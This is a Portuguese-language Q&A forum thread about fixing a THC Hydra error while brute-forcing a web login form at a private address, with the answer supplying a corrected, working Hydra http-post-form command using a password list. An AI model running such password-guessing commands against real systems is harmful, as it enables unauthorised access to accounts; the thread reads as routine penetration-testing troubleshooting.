Erro de força bruta Hydra

Question

hydra http://192.168.0.24:1234/ http-form-post "/password=^PASS^:Invalid password!" -P pass.txt -t 10 -o hydra-http-post-attack.txt
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-03 12:12:37
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: Invalid password!

Não sei por que estou recebendo o erro, pois existe a ^PASS^string. Não há nome de usuário no aplicativo.

O URL completo do formulário de login é:http://192.168.0.24:1234/

Alguém pode ajudar?

Answer 1

Sobre sua pergunta:

1. Ao usar Hydra, não é necessário colocar http://antes do host que você vai atacar.
2. Para especificar a porta, use o -ssinalizador.
3. Você precisa especificar o -lsinalizador, caso contrário, um erro será exibido.
4. Na solicitação POST você deve especificar o arquivo que receberá a solicitação POST (por exemplo, index.php, password.php, validar.php, etc.)
5. E por último, mas não menos importante, você deve especificar o caso de sucesso ou o caso de falha.

Tente o seguinte comando, é o melhor que posso fazer com as informações fornecidas:

hydra -l '' -P pass.txt 192.168.0.24 -s 1234 http-post-form "/index.php:pass=^PASS^:F=Invalid Password!" -t 10 -o hydra-http-post-attack.txt

Eu mesmo tentei e não gera nenhum tipo de erro.

Boa sorte!